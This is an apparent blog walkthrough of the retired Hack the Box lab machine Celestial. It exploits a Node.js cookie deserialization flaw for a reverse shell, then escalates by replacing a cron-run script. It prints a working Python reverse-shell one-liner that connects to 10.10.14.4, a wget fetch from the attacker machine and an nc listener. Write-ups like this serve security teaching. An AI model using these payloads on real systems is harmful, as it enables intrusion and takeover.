Hack the Box (HTB) machines walkthrough series — Celestial
Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Celestial.
HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
Enjoy CTFs? Take our challenge!
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Celestial, is retired.
Let’s start with this machine.
1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The Celestial machine IP is 10.10.10.85.
3. We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.
4. As usual, let’s start with the nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Celestial 10.10.10.85>>
5. As we can see, only port 3000 is listed with Node.js on it. Let’ start enumerating this.
6. Below is the message that we received after browsing port 3000.
7. Let’s start Burp and see if something interesting is going on in the requests.
8. It looks like there is a cookie set named “profile.” The end of its value is rather interesting since %3D%3D is ==.
9. Copying and base64-decoding that reveals the following JSON. From the cookie decoded value, it looks like the cookie value is parsed and presented, which is “2” here. Along the same lines, there was a famous node serialization/deserialization vulnerability. More details on this can be found here.
10. Let’s follow that same article and build the exploit. Download the nodeshell.py from here.
11. Below are the command parameters for running nodeshell.py. Parameters should be the IP of attacking machine and reverse shell port.
12. After that, insert this as a cookie value and base64-encode it as shown below.
13. Fire the request, and the reverse shell will be spawned.
14. Upgrade the shell and grab the user.txt flag
15. Now let’s try to escalate privileges as well. After much enumeration, we found an interesting cron job log in /var/log/syslog which runs every five minutes and picks up script.py from the user “sun” directory. Interestingly, our current user is the same.
16. Since all the cards are out, let’s build a simple Python reverse shell, host it on our attacking machine, download on the victim and set up an nc listener.
- Python reverse shell
<<import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);>>
- Moving the current script from the user “sun”
<<mv script.py ~>>
- We download the new script.py from the attacker machine.
<<wget http://<attacking machine IP>/script.py . >>
- We set up the nc listener, and after five minutes, the reverse shell will be given.
<<nc -nlvp 4422>>
17. Enumerate to grab the root.txt file.
This was a straightforward box with an initial foothold that came from a platform vulnerability, and escalation was purely based on enumeration.
What should you learn next?
We will continue this series with many more interesting HTB machines.